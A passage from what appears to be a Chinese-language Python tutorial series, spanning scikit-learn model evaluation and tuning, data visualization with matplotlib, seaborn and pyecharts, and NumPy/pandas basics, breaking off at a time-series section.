print(confusion_matrix(y_true, y_pred))   # 混淆矩阵
print(classification_report(y_true, y_pred))  # 综合报告

混淆矩阵（二分类）：
                预测正    预测负
实际正          TP        FN     （漏报）
实际负          FP        TN     （误报）

准确率 Accuracy  = (TP+TN)/总数        整体对的比例（类别不均衡时会骗人！）
精确率 Precision = TP/(TP+FP)         预测为正的准不准（重在不冤枉）
召回率 Recall    = TP/(TP+FN)         正样本找得全不全（重在不漏掉）
F1 = 2 * P*R/(P+R)                   精确率和召回率的平衡

[!WARNING] 类别不均衡时准确率会骗人：如 99% 正常、1% 欺诈，模型全预测"正常"也有 99% 准确率，但一个欺诈都没抓到（召回率=0）。此时要看精确率、召回率、F1、AUC，或用 SMOTE 过采样、调整类别权重。

交叉验证与网格搜索

from sklearn.model_selection import cross_val_score, GridSearchCV

# K 折交叉验证（更可靠地评估模型，默认 5 折）
scores = cross_val_score(rf, X, y, cv=5, scoring="accuracy")
print(scores.mean(), scores.std())      # 5 次准确率的均值和标准差

# 网格搜索（自动找最优超参数组合）
param_grid = {
    "n_estimators": [50, 100, 200],
    "max_depth": [None, 5, 10],
}
grid = GridSearchCV(rf, param_grid, cv=5, scoring="accuracy", n_jobs=-1)
grid.fit(X, y)
print(grid.best_params_)                # 最优参数
print(grid.best_score_)                 # 最优得分
print(grid.best_estimator_)             # 最优模型

交叉验证：把数据分 K 份，轮流用 K-1 份训练、1 份验证，取平均。
         好处：充分利用数据、评估更稳定、减少过拟合风险。
网格搜索：遍历所有超参数组合，配合交叉验证选最优。
         参数多用 RandomizedSearchCV（随机采样，更快）。

Pipeline（管道，防止数据泄漏）

from sklearn.pipeline import Pipeline

# 把预处理 + 模型串成一条流水线
pipe = Pipeline([
    ("scaler", StandardScaler()),          # 先标准化
    ("clf", RandomForestClassifier()),     # 再分类
])
pipe.fit(X_train, y_train)                 # 一起 fit，自动避免数据泄漏
pipe.score(X_test, y_test)

# Pipeline 配合网格搜索（参数名用 "步骤名__参数名"）
GridSearchCV(pipe, {"clf__n_estimators": [50, 100]}, cv=5).fit(X, y)

六、神经网络初步

从神经元到深度学习

人工神经元：输入 x → 加权求和 + 偏置 → 激活函数 → 输出
   输出 = activation(w1*x1 + w2*x2 + ... + b)

激活函数（引入非线性）：
- ReLU：f(x)=max(0,x)      最常用，解决梯度消失
- Sigmoid：f(x)=1/(1+e^-x) 输出(0,1)，二分类输出层
- Softmax：多分类输出层（输出概率和为1）
- Tanh：输出(-1,1)

神经网络 = 多层神经元堆叠（输入层 → 隐藏层 → 输出层）
深度学习 = 多层（深层）神经网络

sklearn 简易神经网络

from sklearn.neural_network import MLPClassifier

mlp = MLPClassifier(hidden_layer_sizes=(64, 32),   # 两个隐藏层
                    activation="relu",
                    max_iter=1000, random_state=42)
mlp.fit(X_train, y_train)
print(mlp.score(X_test, y_test))

深度学习框架概览

sklearn MLP：小数据、快速原型
真正的深度学习用专业框架：
- PyTorch（学术界主流、动态图、灵活，推荐入门）
- TensorFlow/Keras（工业界、生态全、部署方便）
应用：CNN（图像）、RNN/LSTM（序列/时间）、Transformer（NLP/大模型）

[!NOTE] 入门机器学习不必一上来就深度学习。传统 ML（随机森林、XGBoost）在中小规模表格数据上往往比深度学习更好、更快、更可解释。深度学习优势在非结构化数据（图像、语音、文本）和海量数据。按数据规模和类型选方法。

常见问题 Q&A

Q1：分类和回归怎么区分？ A：看预测目标是离散类别还是连续数值。预测"是/否垃圾邮件""猫/狗/鸟"是分类；预测"房价 320 万""明天气温 25 度"是回归。分类用逻辑回归/决策树/SVM，回归用线性回归/回归树。

Q2：过拟合和欠拟合怎么判断和解决？ A：看训练集和测试集表现。都差=欠拟合（模型太简单）→ 加特征/加复杂度/减正则；训练好测试差=过拟合（模型太复杂）→ 加数据/正则化/降复杂度/交叉验证/早停。画学习曲线能直观诊断。

Q3：准确率很高但模型没用，为什么？ A：类别不均衡！如 99% 负样本、1% 正样本，全猜负也有 99% 准确率，但漏掉所有正样本。解决：看精确率/召回率/F1/AUC，用 class_weight="balanced"，SMOTE 过采样，或调整决策阈值。

Q4：特征要标准化吗？哪些算法需要？ A：基于距离/梯度的算法必须标准化：kNN、KMeans、SVM、神经网络、线性/逻辑回归（带正则）。基于树的算法不需要：决策树、随机森林、XGBoost（只看分裂点排序，不看绝对值）。不确定就标准化，一般无害。

Q5：怎么选模型？ A：先明确问题类型（分类/回归/聚类）。表格数据首选随机森林/XGBoost（强且省心）；需要可解释用决策树/线性模型；小数据快速基线用 kNN/逻辑回归；图像/文本/语音用深度学习。多试几个用交叉验证比较。

Q6：fit_transform 和 transform 有什么区别？ A：fit_transform = 学习参数（如均值方差）+ 转换；transform = 用已学参数转换。训练集用 fit_transform，测试集只能用 transform（复用训练集参数），否则数据泄漏导致评估虚高。

Q7：机器学习需要很强的数学吗？ A：入门应用（调 sklearn API）不需要深厚数学，理解概念、会预处理和调参就能上手。但要深入（改进算法、读论文、调优模型）需要线性代数、概率统计、微积分（梯度下降）基础。建议先用起来，遇到瓶颈再补数学。

复习卡片

[!TIP] 机器学习速记

三类 ML：监督（有标签，分类/回归）、无监督（无标签，聚类/降维）、强化（奖惩）

流程：收集 → 预处理 → 划分 → 选模型 → fit 训练 → 评估 → 调优 → predict 部署

sklearn 范式：fit(X_train,y_train) → predict(X_test) → score()，所有模型统一

预处理：StandardScaler 标准化、编码；测试集只 transform 防泄漏

算法：kNN（近邻）、决策树（可解释）、逻辑回归（分类）、SVM（间隔最大）、随机森林（集成，首选）

无监督：KMeans（聚类，肘部法则选K）、PCA（降维，看方差比）

评估：准确率（不均衡会骗人）、精确率、召回率、F1、混淆矩阵、AUC

过拟合：训练好测试差 → 正则化/加数据/降复杂度；欠拟合反之

调优：cross_val_score 交叉验证 + GridSearchCV 网格搜索 + Pipeline 防泄漏

深度学习：神经元+激活函数(ReLU)堆叠；PyTorch/TensorFlow；表格数据传统 ML 常更优

[!TIP] 下一篇：项目实战、部署与面试是系列收官之作，将讲解综合项目实战思路、Python 项目部署（Docker/CI/CD）、工程化规范，以及 Python 高频面试题与学习路线总结。

返回 Python 学习路线总览 | 合集页

数据可视化

Fri, 18 Sep 2026 07:30:00 GMT

[!NOTE] 本文对应仓库 Day78~80：matplotlib 绘图基础、seaborn 统计可视化、pyecharts 交互图表。数据可视化把枯燥的数字变成直观的图形，是数据分析的"最后一公里"，也是汇报和洞察的关键。

一、可视化三剑客概览

库	特点	适用场景
matplotlib	最基础、最灵活、可控性强	所有静态图表的底层
seaborn	基于 matplotlib、默认样式美观、统计图强	统计分析、快速出好看的图
pyecharts	基于百度 ECharts、交互式、可网页嵌入	交互式报表、大屏、Web

pip install matplotlib seaborn pyecharts

选型建议：
- 定制/科研/基础图 → matplotlib
- 统计/美观/快速探索 → seaborn
- 交互/Web/大屏展示 → pyecharts
- 三者可混用（seaborn 底层就是 matplotlib）

第一部分：matplotlib

二、matplotlib 基础与折线图

import matplotlib.pyplot as plt
import numpy as np

# 解决中文乱码（重要！）
plt.rcParams["font.sans-serif"] = ["SimHei"]   # 用黑体显示中文
plt.rcParams["axes.unicode_minus"] = False     # 解决负号 '-' 显示问题

# 折线图
x = np.linspace(0, 10, 100)
y = np.sin(x)

plt.figure(figsize=(8, 5))            # 创建画布，设置尺寸（英寸）
plt.plot(x, y, label="sin(x)", color="blue", linewidth=2, linestyle="-")
plt.plot(x, np.cos(x), label="cos(x)", color="red", linestyle="--")

plt.title("三角函数图像")              # 标题
plt.xlabel("x 轴")                    # x 轴标签
plt.ylabel("y 轴")                    # y 轴标签
plt.legend()                          # 图例（显示 label）
plt.grid(True, alpha=0.3)             # 网格线
plt.xlim(0, 10)                       # x 轴范围
plt.ylim(-1.5, 1.5)                   # y 轴范围
plt.axhline(y=0, color="gray", linestyle=":")  # 参考线

plt.savefig("sine.png", dpi=150, bbox_inches="tight")  # 保存（dpi 清晰度）
plt.show()                            # 显示

linestyle 线型：'-'实线  '--'虚线  '-.'点划线  ':'点线
marker 标记：'o'圆点  '*'星  's'方  '^'三角  '+'加
color：'r'红 'g'绿 'b'蓝 'k'黑 或 '#FF5733' 十六进制

[!TIP] 中文乱码是 matplotlib 最常见的坑。plt.rcParams["font.sans-serif"] = ["SimHei"]（Windows）或 ["Arial Unicode MS"]（Mac）；Linux 可安装中文字体后设 ["WenQuanYi Micro Hei"]。别忘了 axes.unicode_minus=False 否则负号变方块。

三、常用图表类型

柱状图与条形图

categories = ["A", "B", "C", "D"]
values = [23, 45, 56, 78]

# 垂直柱状图
plt.bar(categories, values, color="skyblue", edgecolor="black")
plt.barh(categories, values)          # 水平条形图

# 分组柱状图（多组对比）
x = np.arange(len(categories))
width = 0.35
plt.bar(x - width/2, [20, 30, 40, 50], width, label="2025")
plt.bar(x + width/2, [23, 45, 56, 78], width, label="2026")
plt.xticks(x, categories)
plt.legend()

# 堆叠柱状图
plt.bar(categories, [20, 30, 40, 50], label="男")
plt.bar(categories, [3, 15, 16, 28], bottom=[20, 30, 40, 50], label="女")

散点图

x = np.random.randn(100)
y = np.random.randn(100)
plt.scatter(x, y, s=50, c=y, cmap="viridis", alpha=0.6)  # s大小 c颜色 cmap色图
plt.colorbar()                        # 颜色条

饼图

labels = ["技术", "销售", "市场", "行政"]
sizes = [40, 25, 20, 15]
plt.pie(sizes, labels=labels, autopct="%1.1f%%",   # 显示百分比
        startangle=90, explode=[0.1, 0, 0, 0])     # 突出第一块
plt.axis("equal")                     # 保证是正圆

直方图与箱线图

data = np.random.randn(1000)

# 直方图（看分布）
plt.hist(data, bins=30, color="steelblue", edgecolor="black", alpha=0.7)

# 箱线图（看离群值、四分位数）
plt.boxplot([data, np.random.randn(1000)*2],
            labels=["组A", "组B"])

图表选型指南：
- 趋势变化 → 折线图
- 类别对比 → 柱状图/条形图
- 占比构成 → 饼图（类别少）/堆叠柱
- 相关性   → 散点图
- 数据分布 → 直方图/箱线图/小提琴图
- 多变量关系 → 热力图/散点矩阵

四、子图与布局

一张画布放多个图，用 subplots。

# subplots：创建网格子图
fig, axes = plt.subplots(2, 2, figsize=(10, 8))   # 2行2列
axes[0, 0].plot(x, np.sin(x))       # 左上
axes[0, 0].set_title("sin")
axes[0, 1].plot(x, np.cos(x))       # 右上
axes[0, 1].set_title("cos")
axes[1, 0].bar(["A", "B"], [3, 5])  # 左下
axes[1, 1].scatter(x, np.random.randn(100))  # 右下
plt.tight_layout()                  # 自动调整间距，防重叠
plt.show()

# 一行多图
fig, axes = plt.subplots(1, 3, figsize=(15, 4))
for i, ax in enumerate(axes):
    ax.plot(x, np.sin(x + i))

# subplot（逐个添加，旧式）
plt.subplot(2, 2, 1)                # 2行2列的第1个
plt.plot(x, y)

五、面向对象接口与样式

matplotlib 有两套 API，推荐面向对象（更清晰可控）。

# ❌ pyplot 状态式（简单图可以，复杂易乱）
plt.plot(x, y)
plt.title("标题")

# ✅ 面向对象式（推荐，Figure + Axes）
fig = plt.figure(figsize=(8, 5))     # 画布 Figure
ax = fig.add_subplot(111)            # 坐标系 Axes
ax.plot(x, y)
ax.set_title("标题")                 # 方法都带 set_ 前缀
ax.set_xlabel("x")
ax.set_ylabel("y")

概念层次：
Figure（画布）
  └── Axes（坐标系，一张图）
        ├── 标题、轴标签
        ├── 刻度、图例、网格
        └── 线、点、柱（artist）

使用内置样式

print(plt.style.available)          # 查看所有可用样式
plt.style.use("seaborn-v0_8-darkgrid")   # 应用样式
plt.style.use("ggplot")             # ggplot 风格

# 临时用某样式
with plt.style.context("dark_background"):
    plt.plot(x, y)

第二部分：seaborn

六、seaborn 统计可视化

seaborn 基于 matplotlib，默认样式更美观，一行代码画出复杂统计图。

import seaborn as sns
import pandas as pd

# 加载示例数据集
tips = sns.load_dataset("tips")     # 餐厅小费数据
sns.set_theme(style="whitegrid")    # 设置主题风格

关系图

# 散点图（可按类别着色/分形状）
sns.scatterplot(data=tips, x="total_bill", y="tip",
                hue="time", style="smoker", size="size")

# 折线图（自动聚合、画置信区间）
sns.lineplot(data=tips, x="size", y="total_bill", hue="time")

# 关系图矩阵（多变量两两关系）
sns.relplot(data=tips, x="total_bill", y="tip", hue="day", col="time")

分布图

# 直方图 + 核密度
sns.histplot(tips["total_bill"], kde=True, bins=20)

# 核密度估计
sns.kdeplot(tips["total_bill"])

# 箱线图 / 小提琴图
sns.boxplot(data=tips, x="day", y="total_bill")
sns.violinplot(data=tips, x="day", y="total_bill", hue="sex")

# 多变量分布
sns.pairplot(tips, hue="sex")       # 散点矩阵（探索多列关系神器）

分类图与热力图

# 柱状图（自动聚合，带误差棒）
sns.barplot(data=tips, x="day", y="total_bill", hue="sex")

# 计数图
sns.countplot(data=tips, x="day")

# 热力图（常配合相关系数矩阵）
corr = tips.corr(numeric_only=True)      # 相关系数矩阵
sns.heatmap(corr, annot=True, cmap="coolwarm",
            center=0, fmt=".2f", square=True)
plt.show()

[!TIP] 热力图 + 相关系数矩阵是数据分析经典组合：sns.heatmap(df.corr(), annot=True) 一眼看出哪些变量强相关（颜色越深相关性越强），对特征选择、多重共线性判断很有用。

seaborn vs matplotlib：
- seaborn 默认美观、统计图强（自动聚合/置信区间/分面）
- 底层仍是 matplotlib，可用 ax 参数嵌入子图，也可 plt 二次调整
- 快速探索数据、画统计图用 seaborn；高度定制用 matplotlib

第三部分：pyecharts

七、pyecharts 交互式图表

pyecharts 生成可交互的 HTML 图表（缩放、悬浮提示、图例切换），适合网页报表和大屏。

from pyecharts.charts import Bar, Line, Pie
from pyecharts import options as opts

# 柱状图
bar = (
    Bar()
    .add_xaxis(["衬衫", "毛衣", "领带", "裤子", "风衣"])
    .add_yaxis("商家A", [114, 55, 27, 101, 125])
    .add_yaxis("商家B", [150, 48, 66, 108, 97])
    .set_global_opts(title_opts=opts.TitleOpts(title="销量对比"))
)
bar.render("bar.html")              # 生成交互式 HTML

# 折线图
line = (
    Line()
    .add_xaxis(["周一", "周二", "周三", "周四", "周五"])
    .add_yaxis("销售额", [150, 230, 224, 218, 135])
    .set_global_opts(
        title_opts=opts.TitleOpts(title="周销售趋势"),
        xaxis_opts=opts.AxisOpts(name="日期"),
        yaxis_opts=opts.AxisOpts(name="金额"),
    )
)
line.render("line.html")

# 饼图
pie = (
    Pie()
    .add("", [list(z) for z in zip(["A", "B", "C"], [10, 20, 30])])
    .set_global_opts(title_opts=opts.TitleOpts(title="占比"))
    .set_series_opts(label_opts=opts.LabelOpts(formatter="{b}: {d}%"))
)
pie.render("pie.html")

# 链式调用是 pyecharts 特色：
# .add_xaxis() / .add_yaxis()  加数据
# .set_global_opts()           全局配置（标题/坐标轴/图例）
# .set_series_opts()           系列配置（标签/颜色）
# .render("x.html")            输出 HTML；.render_notebook() 在 Jupyter 显示

[!NOTE] pyecharts 图表是 HTML 文件，能在浏览器交互（悬浮看数值、点击图例隐藏/显示、缩放）。常用于数据大屏、Web 报表。要嵌入网页可用 render() 生成 HTML 后 iframe 引用，或 render_embed() 内嵌。其他交互库还有 Plotly、Bokeh。

八、与 pandas 集成

pandas 内置绘图接口（底层 matplotlib/seaborn），快速出图。

import pandas as pd

df = pd.DataFrame({
    "月份": ["1月", "2月", "3月", "4月"],
    "销量": [100, 150, 130, 180],
    "利润": [30, 50, 40, 60],
}).set_index("月份")

# pandas 直接画图
df.plot(kind="line", figsize=(8, 5))       # 折线图
df.plot(kind="bar")                        # 柱状图
df["销量"].plot(kind="pie", autopct="%1.1f%%")  # 饼图
df.plot(kind="area", stacked=True)         # 面积图
df.plot.scatter(x="销量", y="利润")        # 散点图
plt.show()

# 结合 seaborn
sns.lineplot(data=df, x="月份", y="销量")

常见问题 Q&A

Q1：matplotlib 中文显示成方块/乱码？ A：设置中文字体 plt.rcParams["font.sans-serif"] = ["SimHei"]（Windows 黑体）或 Mac 用 ["Arial Unicode MS"]；再加 plt.rcParams["axes.unicode_minus"] = False 修复负号。Linux 需先安装中文字体（如文泉驿）。

Q2：matplotlib 和 seaborn 什么关系？该学哪个？ A：seaborn 建立在 matplotlib 之上，是它的高级封装。seaborn 默认样式好看、统计图（分布、关系、热力图）一行搞定；matplotlib 更底层、定制性最强。建议：快速探索用 seaborn，深度定制用 matplotlib，两者结合最佳。

Q3：图表太多参数记不住怎么办？ A：不用死记。掌握核心套路：figure/subplots 建画布 → plot/bar/scatter/hist 画图 → set_title/xlabel/legend 装饰 → savefig/show 输出。具体参数查官方文档或 Gallery（ matplotlib 官网的图例画廊，找到想要的图复制代码改）。

Q4：plt.plot() 和面向对象 ax.plot() 怎么选？ A：简单单图用 plt.xxx()（pyplot 状态式）够用；多图、子图、要精细控制时用面向对象（fig, ax = plt.subplots() 然后 ax.xxx()），逻辑更清晰，不容易画错位置。官方推荐面向对象式。

Q5：图片保存模糊？ A：plt.savefig("x.png", dpi=150) 提高 dpi（默认 100，论文/汇报建议 150~300）；加 bbox_inches="tight" 去掉多余白边。矢量图存 PDF/SVG（savefig("x.pdf")）无限放大不糊。

Q6：pyecharts 和 matplotlib 存图有什么区别？ A：matplotlib 存的是静态图片（PNG/SVG/PDF），适合论文、报告；pyecharts 存的是交互式 HTML，能悬浮、缩放、切换图例，适合网页、大屏、Dashboard。需要交互就用 pyecharts/Plotly。

Q7：怎么做数据大屏/仪表盘？ A：pyecharts（可组合多图成 Page/Grid/Tab）、Plotly Dash（Python Web 仪表盘框架）、Streamlit（快速做数据 App）、Grafana（监控大屏）。轻量快速用 Streamlit，专业大屏用 pyecharts/ECharts。

复习卡片

[!TIP] 数据可视化速记

三剑客：matplotlib（基础灵活）、seaborn（统计美观）、pyecharts（交互网页）

中文不乱码：rcParams["font.sans-serif"]=["SimHei"] + axes.unicode_minus=False

绘图套路：figure → plot → 装饰(title/label/legend/grid) → savefig(dpi)/show

图表选型：趋势折线、对比柱状、占比饼图、相关散点、分布直方/箱线

子图：fig, axes = plt.subplots(行, 列) + tight_layout()

面向对象：Figure > Axes > artist，方法带 set_ 前缀，多图首选

seaborn：scatterplot/lineplot/histplot/boxplot/violinplot/barplot

热力图：sns.heatmap(df.corr(), annot=True) 看变量相关性

pyecharts：链式调用 add_xaxis/add_yaxis/set_global_opts → render HTML

pandas 集成：df.plot(kind="line/bar/pie/scatter") 快速出图

[!TIP] 下一篇：机器学习入门将讲解机器学习基础概念、scikit-learn 使用流程、监督学习（kNN/决策树/回归）、无监督学习（聚类/降维）、模型评估与调优，以及神经网络初步。

返回 Python 学习路线总览 | 合集页

数据分析：NumPy 与 pandas

Fri, 18 Sep 2026 07:00:00 GMT

[!NOTE] 本文对应仓库 Day66~77：NumPy 数组计算与 pandas 数据处理。这是数据科学赛道的基石——NumPy 提供高性能数组运算，pandas 提供表格数据处理能力。掌握它们，才能玩转数据分析、可视化和机器学习。

第一部分：NumPy

一、NumPy 概述与数组创建

NumPy（Numerical Python）核心是 ndarray（多维数组），比 Python 列表快几十倍（底层 C 实现、连续内存、向量化运算）。

pip install numpy

import numpy as np

# 从列表创建
a = np.array([1, 2, 3, 4])              # 一维
b = np.array([[1, 2], [3, 4]])          # 二维
print(a.shape)                           # (4,)  形状
print(b.shape)                           # (2, 2)
print(a.dtype)                           # int64 数据类型
print(a.ndim)                            # 2 维度数

# 快速创建特殊数组
np.zeros((2, 3))          # 全 0，2行3列
np.ones((2, 3))           # 全 1
np.full((2, 3), 7)        # 全 7
np.eye(3)                 # 单位矩阵
np.arange(0, 10, 2)       # [0,2,4,6,8]（类似 range）
np.linspace(0, 1, 5)      # [0, 0.25, 0.5, 0.75, 1]（等间隔 5 个点）
np.random.random((2, 3))  # 2×3 随机浮点 [0,1)
np.random.randint(0, 10, (2, 3))    # 随机整数
np.random.randn(2, 3)     # 标准正态分布

数据类型（dtype）

np.array([1, 2, 3], dtype=np.float32)   # 指定类型
# 常用：int32/int64、float32/float64、bool、object、datetime64
arr.astype(np.float64)                   # 类型转换

二、数组索引与切片

a = np.arange(10)                 # [0 1 2 3 4 5 6 7 8 9]

# 基本索引（和列表一样）
print(a[0], a[-1])                # 0 9
print(a[2:5])                     # [2 3 4]（切片）
print(a[::2])                     # [0 2 4 6 8]（步长 2）

# 二维索引 [行, 列]
b = np.array([[1, 2, 3], [4, 5, 6]])
print(b[0, 1])                    # 2（第0行第1列）
print(b[0])                       # [1 2 3]（第0行）
print(b[:, 1])                    # [2 5]（所有行的第1列）
print(b[0:2, 1:3])                # 子矩阵

# 布尔索引（超常用！）
print(a[a > 5])                   # [6 7 8 9]（筛选大于5的）
print(b[b > 3])                   # [4 5 6]

# 花式索引（用整数数组取多个）
print(a[[0, 2, 4]])               # [0 2 4]

[!WARNING] NumPy 切片是视图（view），不是副本！a[2:5][0] = 99 会修改原数组 a。要独立副本用 a[2:5].copy()。这与 Python 列表切片（返回副本）不同。

三、数组运算与广播

向量化运算（无需循环）

a = np.array([1, 2, 3])
b = np.array([4, 5, 6])

print(a + b)          # [5 7 9]    逐元素加
print(a * b)          # [4 10 18]  逐元素乘（不是矩阵乘！）
print(a ** 2)         # [1 4 9]    逐元素平方
print(a / b)          # 逐元素除
print(a @ b)          # 点积（矩阵乘法用 @ 或 np.dot）
print(np.sqrt(a))     # 开方
print(np.exp(a))      # e 的幂

广播（Broadcasting）

不同形状的数组也能运算——NumPy 自动"拉伸"小数组。

# 一维 + 标量：标量广播到每个元素
print(np.array([1, 2, 3]) + 10)     # [11 12 13]

# 二维 + 一维：一维沿行广播
matrix = np.array([[1, 2, 3],
                   [4, 5, 6]])
print(matrix + np.array([10, 20, 30]))
# [[11 22 33]
#  [14 25 36]]

# 广播规则：从尾部维度对齐，维度相等或其中一个为 1 才能广播

聚合统计

a = np.array([[1, 2, 3], [4, 5, 6]])

print(a.sum())              # 21 全部求和
print(a.sum(axis=0))        # [5 7 9]  按列（压缩行，axis=0 竖着算）
print(a.sum(axis=1))        # [3 15]   按行（压缩列，axis=1 横着算）
print(a.mean())             # 均值
print(a.max(), a.min())     # 最大最小
print(a.argmax())           # 最大值索引
print(a.std())              # 标准差
print(np.median(a))         # 中位数

[!NOTE] axis 记忆法：axis=0 是沿着行的方向（竖直向下），结果是"每列的聚合"；axis=1 是沿着列的方向（水平向右），结果是"每行的聚合"。可以理解为"把哪个维度压扁"。

四、变形与线性代数

a = np.arange(12)

# 变形
a.reshape(3, 4)         # 变成 3×4（元素总数要一致）
a.reshape(-1, 4)        # -1 自动计算行数
a.flatten()             # 展平成一维
a.T                     # 转置（等价 a.transpose()）

# 拼接
np.concatenate([a, b])              # 沿 axis=0 拼
np.vstack([a, b])                   # 竖直堆叠
np.hstack([a, b])                   # 水平堆叠
np.split(a, 3)                      # 拆分

# 排序、去重
np.sort(a)                          # 排序
np.unique(a)                        # 去重

# 线性代数（np.linalg）
m = np.array([[1, 2], [3, 4]])
np.linalg.inv(m)                    # 逆矩阵
np.linalg.det(m)                    # 行列式
np.linalg.eig(m)                    # 特征值/特征向量
np.linalg.solve(A, b)               # 解线性方程组 Ax=b

第二部分：pandas

五、pandas 两大数据结构

pandas 建立在 NumPy 之上，提供带标签的数据结构，是数据分析的主力。

pip install pandas

import pandas as pd

# Series：一维带标签数组（类似带索引的 list）
s = pd.Series([10, 20, 30], index=["a", "b", "c"], name="分数")
print(s["a"])            # 10（按标签索引）
print(s.values)          # [10 20 30]（底层数组）
print(s.index)           # Index(['a','b','c'])

# DataFrame：二维表格（最常用，类似 Excel/数据库表）
df = pd.DataFrame({
    "姓名": ["张三", "李四", "王五"],
    "年龄": [25, 30, 28],
    "城市": ["北京", "上海", "广州"],
    "工资": [15000, 20000, 18000],
})
print(df.head())         # 前 5 行（head(n)）
print(df.tail(2))        # 后 2 行
print(df.shape)          # (3, 4) 行列数
print(df.info())         # 概览：列名、非空数、类型
print(df.describe())     # 数值列统计：计数/均值/标准差/分位数
print(df.columns)        # 列名
print(df.dtypes)         # 各列类型

Series vs DataFrame：
- Series = 一维（一个索引 + 一列值），像带标签的数组
- DataFrame = 二维（行索引 + 多列），像 Excel 表格
- DataFrame 的每一列就是一个 Series

六、数据读取与写入

# 读取
df = pd.read_csv("data.csv")                       # CSV（最常用）
df = pd.read_csv("data.csv", encoding="utf-8", sep=",", index_col=0)
df = pd.read_excel("data.xlsx", sheet_name="Sheet1")  # Excel
df = pd.read_json("data.json")                     # JSON
df = pd.read_sql("SELECT * FROM users", conn)      # 数据库

# 写入
df.to_csv("out.csv", index=False, encoding="utf-8-sig")  # index=False 不写行号
df.to_excel("out.xlsx", index=False)
df.to_json("out.json", orient="records", force_ascii=False)

[!TIP] 读中文 CSV 常见乱码：encoding 试 utf-8、gbk、utf-8-sig（带 BOM）。to_csv 用 Excel 打开乱码就用 encoding="utf-8-sig"。index=False 避免多出一列无意义的行号。

七、数据选择与筛选

df = pd.DataFrame({
    "姓名": ["张三", "李四", "王五", "赵六"],
    "年龄": [25, 30, 28, 35],
    "城市": ["北京", "上海", "广州", "北京"],
    "工资": [15000, 20000, 18000, 25000],
})

# 选列
df["姓名"]                    # 单列（返回 Series）
df[["姓名", "工资"]]          # 多列（返回 DataFrame）

# loc：按标签选；iloc：按位置选
df.loc[0]                     # 第0行（标签）
df.loc[0, "姓名"]             # 第0行"姓名"列的值
df.loc[0:2, ["姓名", "工资"]] # 标签切片（含末尾）+ 选列
df.iloc[0:2, 0:2]             # 位置切片（不含末尾）

# 布尔索引（条件筛选，最常用！）
df[df["年龄"] > 28]                       # 年龄大于28的行
df[df["城市"] == "北京"]                  # 北京的行
df[(df["年龄"] > 25) & (df["工资"] > 16000)]  # 多条件用 & | （不是 and or）
df[df["城市"].isin(["北京", "上海"])]     # 在列表中
df[df["姓名"].str.contains("张")]         # 字符串包含

# 筛选列
df.loc[df["年龄"] > 28, ["姓名", "工资"]] # 条件行 + 指定列

[!WARNING] 多条件筛选：用 &（与）、|（或）、~（非），不是 Python 的 and/or/not；且每个条件要用括号包起来（运算符优先级）。df[df.a>1 & df.b>2] 会报错，必须 df[(df.a>1) & (df.b>2)]。

八、数据清洗

真实数据往往"脏"（缺失、重复、类型错、异常值），清洗是数据分析最耗时的一步。

缺失值处理

# 检测缺失
df.isnull().sum()              # 每列缺失数量
df.isna().any()                # 哪些列有缺失

# 处理缺失
df.dropna()                    # 删除含缺失的行
df.dropna(axis=1)              # 删除含缺失的列
df.dropna(subset=["工资"])     # 只看某列
df.fillna(0)                   # 用 0 填充
df["工资"].fillna(df["工资"].mean(), inplace=True)  # 用均值填充
df.fillna(method="ffill")      # 用前一个值填充（时间序列常用）

重复值处理

df.duplicated().sum()          # 重复行数
df.drop_duplicates()           # 删除重复行
df.drop_duplicates(subset=["姓名"], keep="last")  # 按某列去重，保留最后

类型转换与替换

df["年龄"] = df["年龄"].astype(int)          # 转类型
df["日期"] = pd.to_datetime(df["日期"])      # 转日期
df.replace({"城市": {"北京": "北京市"}})     # 替换值
df["城市"] = df["城市"].str.strip()          # 去空格
df.rename(columns={"姓名": "名字"})          # 重命名列
df["姓名"].str.upper()                       # 字符串批量操作

异常值处理

# 用 IQR（四分位距）识别异常值
Q1 = df["工资"].quantile(0.25)
Q3 = df["工资"].quantile(0.75)
IQR = Q3 - Q1
outliers = df[(df["工资"] < Q1 - 1.5*IQR) | (df["工资"] > Q3 + 1.5*IQR)]

# 处理：删除、截断（clip）或替换
df["工资"] = df["工资"].clip(lower=Q1-1.5*IQR, upper=Q3+1.5*IQR)

九、新增列与 apply

# 向量化新增列（推荐，快）
df["年薪"] = df["工资"] * 12
df["高薪"] = df["工资"] > 18000               # 布尔列
df["等级"] = np.where(df["工资"] > 20000, "A", "B")  # 条件赋值

# apply：对每行/每列应用函数
df["工资"].apply(lambda x: x / 1000)          # 对每个元素
df.apply(lambda row: row["工资"] * 12, axis=1) # 对每行（axis=1）
df["年龄"].map({25: "青年", 30: "中年"})       # 映射（字典）

[!TIP] 能用向量化运算（如 df["工资"]*12）就别用 apply——向量化是 C 级别批量运算，apply 本质是 Python 循环，慢很多。apply 留给无法向量化的复杂逻辑。

十、分组聚合（GroupBy）

数据分析核心操作：Split（分组）→ Apply（计算）→ Combine（合并）。

df = pd.DataFrame({
    "部门": ["技术", "技术", "销售", "销售", "技术"],
    "城市": ["北京", "上海", "北京", "上海", "北京"],
    "工资": [20000, 25000, 12000, 15000, 22000],
})

# 按单列分组聚合
df.groupby("部门")["工资"].mean()        # 各部门平均工资
df.groupby("部门")["工资"].agg(["mean", "max", "min", "count"])  # 多个聚合

# 按多列分组
df.groupby(["部门", "城市"])["工资"].sum()

# agg：不同列用不同聚合
df.groupby("部门").agg({
    "工资": ["mean", "sum"],
    "城市": "count",
})

# 自定义聚合函数
df.groupby("部门")["工资"].agg(lambda x: x.max() - x.min())

# transform：结果广播回原形状（不压缩）
df["部门均薪"] = df.groupby("部门")["工资"].transform("mean")

十一、合并与重塑

合并（merge / concat / join）

# merge：类似 SQL JOIN，按键合并两个 DataFrame
pd.merge(df1, df2, on="id")                       # 内连接（默认）
pd.merge(df1, df2, on="id", how="left")           # 左连接
pd.merge(df1, df2, left_on="uid", right_on="id")  # 不同键名
# how: inner（交集）/ left / right / outer（并集）

# concat：堆叠（上下或左右）
pd.concat([df1, df2], axis=0)          # 纵向拼接（加行）
pd.concat([df1, df2], axis=1)          # 横向拼接（加列）

# join：按索引合并
df1.join(df2, on="key")

重塑（pivot / melt / stack）

# pivot：透视表（长表转宽表）
df.pivot(index="部门", columns="城市", values="工资")

# pivot_table：更强大的透视（可聚合）
pd.pivot_table(df, values="工资", index="部门", columns="城市",
               aggfunc="mean", fill_value=0, margins=True)  # margins 加总计

# melt：逆透视（宽表转长表）
pd.melt(df, id_vars=["部门"], var_name="指标", value_name="值")

# stack / unstack：列索引 ↔ 行索引转换
df.stack()        # 列变行（宽→长）
df.unstack()      # 行变列（长→宽）

十二、时间序列处理

# 转成时间类型
